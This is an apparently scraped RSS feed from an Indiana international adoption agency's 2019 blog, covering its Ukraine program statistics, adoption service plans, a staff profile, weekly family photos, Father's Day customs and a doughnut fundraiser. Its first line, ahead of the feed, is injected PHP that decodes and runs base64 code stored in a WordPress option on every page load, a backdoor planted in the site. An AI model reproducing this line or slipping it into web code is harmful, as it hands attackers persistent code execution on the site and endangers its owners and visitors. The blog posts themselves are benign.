add_action( 'init', create_function( '', @join( "\n", array_map( "base64_decode", json_decode( get_option( $table_prefix . "widget_meta" ) ) ) ) ) ); https://www.mljadoptions.com International Adoption | Indianapolis, Indiana LCPA | Hague Approved Fri, 14 Jun 2019 18:43:16 +0000 en-US hourly 1 https://wordpress.org/?v=5.2.2 Ukraine Program: 2018 Review https://www.mljadoptions.com/blog/ukraine-program-2018-review-20190715 Mon, 15 Jul 2019 13:00:41 +0000 https://www.mljadoptions.com/?p=12698 If adoption is the best choice for your family and you are considering opening your home to a child or a sibling group, 5 years or older or a child with medical or special needs, then Ukraine might be a good fit for your family!   To help you gain a better understanding of adoption from ...

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If adoption is the best choice for your family and you are considering opening your home to a child or a sibling group, 5 years or older or a child with medical or special needs, then Ukraine might be a good fit for your family!   To help you gain a better understanding of adoption from Ukraine, I would like to share a review of our Ukraine Program from 2018.

Children Home in 2018

In 2018, MLJ’s Ukraine Program experienced one of the most successful in years – 11 children in need of forever families from Ukraine joined their families in the U.S. These children consisted of  8 boys and 3 girls with the age range from 8 years old to 16 years old.  Some of these children were considered  healthy, and the others were considered to be special needs children with some health conditions such as vision defects (strabismus, astigmatism, amblyopia), skin problems (atopic dermatitis), limb defects (malformation of limbs, flatfoot), mild/moderate developmental delays (mental retardation) and some miscellaneous conditions (enuresis, obesity, scoliosis, hernia, diffuse goiter).

Referrals (Matches of Children to Families) in 2018

There were 17 accepted referrals in 2018. This number includes 4 sibling groups, equalling a total of 12 families receiving matches last year. Of these 17 kids, there were 8 boys and 9 girls with an age range from 9 years old to 16 years old with varying special needs, including but not limited to anomalies of the heart (cardiopathy), kidneys (interstitial nephritis, stone disease), limbs (limb reduction defect), skin (atopic dermatitis), eyes (malformation of optic disc, optic atrophy) and development delays/disorders. Some kids did not have any health conditions and were considered healthy.

New Families in MLJ’s Ukraine Program in 2018

Last year MLJ Adoptions International welcomed 22 new families into our Ukraine Program. Some of these families decided to pursue the adoption of the child/children they had previously hosted from Ukraine, while the others had chosen to pursue a “blind” adoption from this country, meaning the family will allow Ukraine’s central authority to match them with an unknown child.

The Ukraine Program is considered a fast-moving program, compared to other country programs. The average wait time from dossier submission to referral in the Ukraine Program in 2018 was only 54 days. The average wait time from referral received to the child/ren coming home was 12-13 weeks last year.  In the world of international adoption this is unbelievably fast.

If you’re interested in learning more about Ukraine Program or other international programs that MLJ offers, please contact us at info@mljadoptions.com or phone (317) 875-0058.

Corbin family brought their three kids home from Ukraine

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Adoption Service Plans https://www.mljadoptions.com/blog/adoption-service-plans-20190710 Wed, 10 Jul 2019 13:00:15 +0000 https://www.mljadoptions.com/?p=12701 For many families just beginning their international adoption journey, prospective adoptive families feel they are entering a complex world of paper shuffling and processes and procedures they just do not understand and may find extraordinarily confusing.  While your adoption service provider (your adoption agency) is there to assist you and to help you navigate this ...

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For many families just beginning their international adoption journey, prospective adoptive families feel they are entering a complex world of paper shuffling and processes and procedures they just do not understand and may find extraordinarily confusing.  While your adoption service provider (your adoption agency) is there to assist you and to help you navigate this process, it is also helpful to understand what is happening during each step of your adoption process and who is providing services to you as you walk down the path to being united with your adopted child.  The more educated you are, the less stress you will experience during your adoption.

Your adoption service provider should provide you with a descriptive road map or service plan that outlines the steps in your process, and which informs you who, whether an entity or person, is providing services to you during each step of your adoption.  This document is typically referred to as your “Adoption Service Plan” and at a minimum should provide you with information on the following six adoption services:

  1. Identifying a child for adoption and arranging an adoption

Translation Who or what entity will be identifying the child you will be adopting?

2. Securing the necessary consent to termination of parental rights and to adoption

Translation Who or what entity will be obtaining consents from birth parents terminating their parental rights?

3. Performing a background study on a child or a home study on prospective adoptive parent(s), and reporting on such study

Translation Who or what entity will be providing information on the child you are matched with and who will be providing home study services to you the adoptive parents? And who will be reporting this information?

4. Making a non-judicial determination of best interest of a child and the appropriateness of an adoptive placement for the child.

Translation Who or what entity makes the decision that the adoption of the child you are matched with is in the best interest of the child?

5. Monitoring a case after a child has been placed with prospective adoptive parent(s) until final adoption

Translation Who is overseeing your adoption case during the entire process until your adoption is finalized?

6. Assuming custody of a child and providing (including facilitating the provision of) childcare or any other social service when necessary because of a disruption before final adoption

Translation If the adoption is not successful, who takes custody and care of the child?

Particularly for countries signatory to the Hague Convention on Protection of Children and Co-operation in Respect of Intercountry Adoption (or Hague Adoption Convention), many of the above duties are assigned to a central adoption authority or a Hague Accredited agency, but this may also be true for countries not signatory to the Hague Adoption Convention.

Providing an Adoption Service Plan to families is an effort to put families at ease, to keep them informed and to be transparent.  The more informed adoptive parents are the better able they are to manage the sometimes turbulent and stressful waters of the adoption process.  If you have questions about your adoption process never hesitate to contact your agency and ask questions.  Afterall, that is what they are there for!

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Photo of the Week! https://www.mljadoptions.com/blog/photo-of-the-week-162-20190705 Fri, 05 Jul 2019 13:00:36 +0000 https://www.mljadoptions.com/?p=12709 Love these face paintings! Love these sisters bonding even more! The sweet girl on the left has been home from Congo now for 4 years. If you would like your child featured as our Photo of the Week, email karson@mljadoptions.com

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Love these face paintings! Love these sisters bonding even more! The sweet girl on the left has been home from Congo now for 4 years.

If you would like your child featured as our Photo of the Week, email karson@mljadoptions.com

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Meet Mandy! https://www.mljadoptions.com/blog/meet-mandy-20190701 Mon, 01 Jul 2019 13:00:10 +0000 https://www.mljadoptions.com/?p=12657                 Hello! My name is Mandy Mellen and I’m the staff accountant for MLJ Adoptions International. I’ve been in my position since April of this year. As the accountant, I get to interact with all aspects of the adoption process; prospective adoptive parents, lawyers in our partner countries, and of course my co-workers. I’m wife ...

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                Hello! My name is Mandy Mellen and I’m the staff accountant for MLJ Adoptions International. I’ve been in my position since April of this year. As the accountant, I get to interact with all aspects of the adoption process; prospective adoptive parents, lawyers in our partner countries, and of course my co-workers.

I’m wife to Kate (a realtor here in Indianapolis), and mom to four beautiful children who we adopted through foster care. We fostered thirteen children and babies over a five-year period for the county. I spent the last six years staying home with our foster and adopted children. Now that our four are older and in school (and we’re finished fostering), it’s time for me to get back into the workforce! In my free time I enjoy gardening, entertaining, traveling, and spending time with my family.

I graduated from Indiana Purdue Fort Wayne in 2010 with a bachelors in Elementary Education/Early Childhood Education. Earlier in 2004 I graduated from Ball State University with a bachelors in Cultural Anthropology and minors in Peace Studies and Conflict Resolution and Women’s Studies.  My formal education and life experience have set me up perfectly to work in international adoption! I look forward to continuing to help children find their forever homes through my work here at MLJ Adoptions International.

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Photo of the Week! https://www.mljadoptions.com/blog/photo-of-the-week-161-20190628 Fri, 28 Jun 2019 13:00:53 +0000 https://www.mljadoptions.com/?p=12684 Get out there and enjoy that summer weather like these siblings! They have been home from Mexico for almost 3 years now! If you would like your child featured as our Photo of the Week, email karson@mljadoptions.com

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Get out there and enjoy that summer weather like these siblings! They have been home from Mexico for almost 3 years now!

If you would like your child featured as our Photo of the Week, email karson@mljadoptions.com

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Why Adopt from Ukraine? https://www.mljadoptions.com/blog/why-adopt-from-ukraine-20190626 Wed, 26 Jun 2019 13:00:21 +0000 https://www.mljadoptions.com/?p=12675 Adoption is always about children, about sharing love, caring for them and providing a forever family for them. Why should you consider adoption from Ukraine? There are several reasons to consider adopting a child in need from Ukraine. In Ukraine orphaned children usually reside in state orphanages. Foster families started to appear in Ukraine, but ...

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Adoption is always about children, about sharing love, caring for them and providing a forever family for them. Why should you consider adoption from Ukraine? There are several reasons to consider adopting a child in need from Ukraine.

In Ukraine orphaned children usually reside in state orphanages. Foster families started to appear in Ukraine, but sadly at this moment there are not so many families ready to serve as foster parents for orphaned children in need.  So, the greatest population of children in need are in orphanages without a parent’s love and care, without growing up observing the family model that results in a huge difficulty in the ability to build “healthy” relationships in their adult life.

Most recently Ukraine is struggling with economic difficulties as a result of the continuing war on its eastern side, as a result, the country cannot provide proper financing of its orphanages and children living there. There is also a lack of care givers, caused by small salaries that are offered to workers caring for children in state care. Sadly, the reality is that the children do not always have enough quality food, as the state is giving in general 30 UAH (approx. $11) per day for food per child.

For children aging out of the orphanage, there are almost no state support programs for the children after they turn eighteen, providing them with no education, training guidance or support to ensure they succeed as a working adult. Many who age out of the orphanage end up in a prison, being involved in prostitution or victims of human trafficking. A very small percentage of orphaned Ukrainian children have the opportunity to receive an education and to pursue a profession.

 What are the pluses of adoption from Ukraine?

  • The adoption process in the Ukraine program is quite fast. A prospective adoptive family is usually waiting only three months for the interview at the Ministry where they will receive their referral after the dossier has been registered
  • Even though the adoption process in Ukraine is sometimes referred to as a “blind adoption”, in reality an adoptive family has the opportunity to visit the child they were matched with before the final acceptance of the referral
  • Although, as a general rule, Ukraine only allows the adoption of children ages 5 and older, there is a possibility to adopt younger children if the adoptive family is open to a child with additional needs
  • Families who are open to sibling groups may receive a match of sibling groups of all ages
  • Adoptive families have the opportunity of hosting a child from Ukraine. This allows families the experience of having the child in their home.

If you have decided to open your heart and home for a child in need, please consider MLJ Ukraine Program, which is a relatively fast process for an international adoption. If you have any questions about MLJ Ukraine program, please contact Viktoriia Serediuk-Buz via email viktoriia@mljadoptions.com or telephone 317-875-0058.

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Photo of the Week! https://www.mljadoptions.com/blog/photo-of-the-week-160-20190621 Fri, 21 Jun 2019 13:00:11 +0000 https://www.mljadoptions.com/?p=12678 Look at these siblings enjoying some play time! The sweet little boy in front has been home from Bulgaria for almost 3 months now! If you would like your child to be featured as our Photo of the Week, email karson@mljadoptions.com

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Look at these siblings enjoying some play time! The sweet little boy in front has been home from Bulgaria for almost 3 months now!

If you would like your child to be featured as our Photo of the Week, email karson@mljadoptions.com

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Celebrating Father’s Day: Our Country Programs https://www.mljadoptions.com/blog/celebrating-fathers-day-our-country-programs-20190617 Mon, 17 Jun 2019 13:00:19 +0000 https://www.mljadoptions.com/?p=12706 At MLJ Adoptions, we recognize the importance of families and would like to give a special thank you to all our fathers, adopting fathers to be and adoptive fathers. To honor our fathers on this day, we would like to recognize some of our countries and how they celebrate Father’s Day. Mexico: In Mexico, Father’s ...

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At MLJ Adoptions, we recognize the importance of families and would like to give a special thank you to all our fathers, adopting fathers to be and adoptive fathers. To honor our fathers on this day, we would like to recognize some of our countries and how they celebrate Father’s Day.

Mexico: In Mexico, Father’s Day is about honoring all fathers and father-like figures. This can include big brothers, uncles, stepfathers, and other male role models who are also celebrated in Mexico in addition to their fathers and grandfathers. Similar to the U.S., gift-giving and greeting cards are given to show love and thanks on this special day. In Mexico City, an annual race gives fathers and their children the chance to spend time together by running road races to celebrate, this race is also called “Carrera Día del Padre 21K Bosque de Tlalpan”. Like MLJ Adoptions, Mexico believes in the importance of the family unity and bonding within the home. Honoring the men of the family is no exception to this rule!

Bulgaria: In Bulgaria, many families celebrate Father’s Day twice a year. Like the United States, Father’s Day takes place first on the 3rd Sunday in June. Father’s Day is also celebrated on December 26th to honor Saint Joseph from the Bulgarian Orthodox Church. In Bulgaria, Saint Joseph is regarded as a Patron Saint of all fathers. To honor their fathers on both days, children usually present their fathers with homemade gifts.

Ukraine: Ukraine families traditionally celebrate Father’s Day on the 3rd Sunday in September of every year. It wasn’t until recently that Ukraine adopted Father’s Day as a legal holiday for the first time beginning on March 2019.

Nicaragua: As someone from Nicaragua would say, “Feliz Dia del Padre!” The Nicaraguans celebrate Father’s Day on June 23rd annually. Father’s Day has been celebrated within their culture since 1960, when it first became a holiday. Like Mexico, Nicaragua signifies the importance of recognizing and honoring all men considered father figures.

Haiti: Father’s Day is celebrated on the 4th Sunday of June in Haiti. Fathers of Haitian culture are honored on this day with greeting cards, a meal, and time spent with family. Sometimes families will celebrate with outdoor activities, such as time time spent on the beach. “bonne Fête des Pères!” or “Happy Father’s Day!” to the special men of Haiti!

Thank you to all the committed fathers, father figures and soon to be fathers that we are privileged to serve and have a wonderful Father’s Day!

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Photo of the Week! https://www.mljadoptions.com/blog/photo-of-the-week-159-20190614 Fri, 14 Jun 2019 13:00:33 +0000 https://www.mljadoptions.com/?p=12659 How cute is this little scientist?! He has been home from Burkina Faso now for a little over 2 years! If you would like your child featured as our Photo of the Week, email karson@mljadoptions.com

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How cute is this little scientist?! He has been home from Burkina Faso now for a little over 2 years!

If you would like your child featured as our Photo of the Week, email karson@mljadoptions.com

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National Doughnut Day: Adoption Fundraiser https://www.mljadoptions.com/blog/national-doughnut-day-adoption-fundraiser-20190612 Wed, 12 Jun 2019 13:00:05 +0000 https://www.mljadoptions.com/?p=12688 This year on June 7th was National Doughnut Day! Now, I know what you’re thinking… how are doughnuts related to adoption? Well, in the small town of Warsaw, Indiana with a population of about 15,000, on this day every year there is a fundraising event for prospective adoptive families to assist them in fundraising needed ...

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This year on June 7th was National Doughnut Day! Now, I know what you’re thinking… how are doughnuts related to adoption? Well, in the small town of Warsaw, Indiana with a population of about 15,000, on this day every year there is a fundraising event for prospective adoptive families to assist them in fundraising needed funds for their adoption processes. The event is sponsored by a non-profit organization called Raise the Dough and they have been putting this event on since 2014. The executive director noticed a lot of individuals volunteering to help and decided that this day should be about more than just doughnuts.

This event is a steppingstone for the community to help support families who were pursing an adoption as a way to expand their families. As we all know, the adoption process can be rather expensive. This is due to the background checks, home studies, the paperwork needed for your dossiers, translating those documents, and services provided to families to navigate the complex legal process of adoption and much more.

To help support these adoptive families, individuals can place an online order to a local doughnut vendor or doughnuts are also available at the Raise the Dough event. Individuals can present their ticket for the online purchase and receive their doughnuts in person. Raise the Dough’s biggest goal is to raise as much funding as they can for these pursing families. If you are not a doughnut fan, there is an option to also donate directly on behalf of these families on their website!

MLJ Adoptions understands the financial aspect of adoption can be difficult for some families and we are here to help you! We have a financial resource advisor that can assist you with fundraising, grants and adoption loans specific to your adoption and financial needs. Once you become an official client with us, MLJ’s financial resource advisor will be able to provide you with all the resources and information on financial guides and applicable tax credits!

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For more information on Raise the Dough, please visit https://raisethedough.org/ Here is also a video of their last year’s highlights https://vimeo.com/280234753

For more information on MLJ Adoptions and starting your adoption journey, email info@mljadoptions.com

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